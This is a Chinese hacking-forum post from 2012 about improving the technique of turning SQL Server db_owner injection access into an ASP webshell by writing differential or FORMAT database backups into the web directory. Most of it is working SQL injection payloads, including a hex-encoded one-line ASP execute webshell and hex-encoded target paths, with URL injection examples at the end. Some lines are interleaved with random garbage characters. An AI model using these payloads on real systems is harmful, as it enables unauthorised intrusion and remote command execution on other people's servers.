找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2519|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少
  c! N% `3 T1 @; m. A; F) x" o( l' b" A7 q% L& r
一利用差异备份0 ^& a2 P- w- w/ k+ K7 `
加一个参数WITH DIFFERENTIAL
5 h  T+ V$ _: N, m8 F( Q3 U3 ?8 \2 `  ^  T+ J
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
3 s! }+ J: X: ~7 H1 Z. {6 e# q- Ncreate table [dbo].[xiaolu] ([cmd] [image]);
( H9 M) N2 }# ]0 P; Q% `. Linsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)* z! ?. I- `8 M1 D  `/ K
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
" i  C+ C) v. o2 a- f
+ Q, r! W/ ?2 h二利用完全FORMAT
/ r3 @' u5 V! _6 ?& f加一个参数WITH FROMAT1 a" J& q' p% p' F& q3 u
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
: g! i! c0 S- a6 B, D2 @' J; a# ]% D
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s# e5 N. v/ ~8 v" U$ Y0 c
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ {, |4 f: X& D; ~  Y
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT4 J. e: [( L' X4 s" X

# O. s+ x) {- K& x' A5 p7 n总的来说就是那么简单几句,下面以备份数据库model为例子, t: \0 c& F5 B* w

; E  q& w( A1 d* a# D1 P  uid=1;use model create table cmd(str image);insert into cmd(str) values (”)& D) h8 V, \$ C+ K" s: X
( M( w, }! U6 j9 L9 J
id=1;backup database model to disk=’你的路径‘ with differential,format;–
4 m' V3 V; F' u# \
/ k8 i: b. f$ I" g# g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表